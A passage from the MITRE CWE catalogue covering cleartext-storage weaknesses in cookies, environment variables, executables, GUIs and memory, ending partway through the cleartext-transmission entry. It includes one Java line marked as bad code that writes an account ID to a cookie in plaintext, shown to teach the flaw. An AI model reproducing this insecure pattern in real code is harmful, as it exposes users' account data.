ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)
Example Language: Java 
response.addCookie( new Cookie("userAccountID", acctID);

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

+ Observed Examples
ReferenceDescription
Admin password in cleartext in a cookie.
Default configuration has cleartext usernames/passwords in cookie.
Usernames/passwords in cleartext in cookies.
Authentication information stored in cleartext in a cookie.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage in Cookie
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Plaintext Storage in Cookie
2013-07-17Plaintext Storage in a Cookie

CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable

Weakness ID: 526
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an environment variable to store unencrypted sensitive information.
+ Extended Description
Information stored in an environment variable can be accessible by other processes with the execution context, including child processes that dependencies are executed in, or serverless functions in cloud environments. An environment variable's contents can also be inserted into messages, headers, log files, or other outputs. Often these other dependencies have no need to use the environment variable in question. A weakness that discloses environment variables could expose this information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.214Invocation of Process Using Visible Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Observed Examples
ReferenceDescription
CMS shows sensitive server-side information from environment variables when run in Debug mode.
Plugin for an automation server inserts environment variable contents into build XML files.
CI/CD tool logs environment variables related to passwords add Contribution to content history.
+ Potential Mitigations

Phase: Architecture and Design

Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.

Phase: Implementation

If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP23Exposed Data
+ References
[REF-1318] David Fiser, Alfredo Oliveira. "Analyzing the Hidden Danger of Environment Variables for Keeping Secrets". 2022-08-17. <https://www.trendmicro.com/en_us/research/22/h/analyzing-hidden-danger-of-environment-variables-for-keeping-secrets.html>. URL validated: 2023-01-26.
[REF-1319] Nicolas Harraudeau. "Using environment variables is security-sensitive". 2021-04-28. <https://sonarsource.atlassian.net/browse/RSPEC-5304>. URL validated: 2023-01-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Contributions
Contribution DateContributorOrganization
2023-01-11Drew ButtnerMITRE
Suggested improvements to name, description, relationships, and mitigations
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2009-03-10CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Environmental Variables
2020-02-24Information Exposure Through Environmental Variables
2023-01-31Exposure of Sensitive Information Through Environmental Variables

CWE-318: Cleartext Storage of Sensitive Information in Executable

Weakness ID: 318
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in an executable.
+ Extended Description
Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Observed Examples
ReferenceDescription
Product stores RSA private key in a DLL and uses it to sign a certificate, allowing spoofing of servers and Adversary-in-the-Middle (AITM) attacks.
administration passwords in cleartext in executable
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage in Executable
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Potential_Mitigations, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2013-07-17Plaintext Storage in Executable

CWE-317: Cleartext Storage of Sensitive Information in GUI

Weakness ID: 317
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext within the GUI.
+ Extended Description
An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Sometimes Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory; Read Application Data

+ Observed Examples
ReferenceDescription
Unencrypted passwords stored in GUI dialog may allow local users to access the passwords.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage in GUI
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Potential_Mitigations, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2013-07-17Plaintext Storage in GUI

CWE-316: Cleartext Storage of Sensitive Information in Memory

Weakness ID: 316
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in memory.
+ Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the product crashes, or if the programmer does not properly clear the memory before freeing it.

It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory

+ Observed Examples
ReferenceDescription
Sensitive authentication information in cleartext in memory.
Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.
SSH client does not clear credentials from memory.
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage in Memory
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Other_Notes, Potential_Mitigations, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2013-07-17Plaintext Storage in Memory

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
+ Extended Description

Many communication channels can be "sniffed" (monitored) by adversaries during data transmission. For example, in networking, packets can traverse many intermediary nodes from the source to the destination, whether across the internet, an internal network, the cloud, etc. Some actors might have privileged access to a network interface or any link along the channel, such as a router, but they might not be authorized to collect the underlying data. As a result, network traffic could be sniffed by adversaries, spilling security-critical data.

Applicable communication channels are not limited to software products. Applicable channels include hardware-specific technologies such as internal hardware networks and external debug channels, supporting remote JTAG debugging. When mitigations are not applied to combat adversaries within the product's threat model, this weakness significantly lowers the difficulty of exploitation by such adversaries.

When full communications are recorded or logged, such as with a packet dump, an adversary could attempt to obtain the dump long after the transmission has occurred and try to "sniff" the cleartext from the recorded communications in the dump itself. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.5J2EE Misconfiguration: Data Transmission Without Encryption
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.614Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
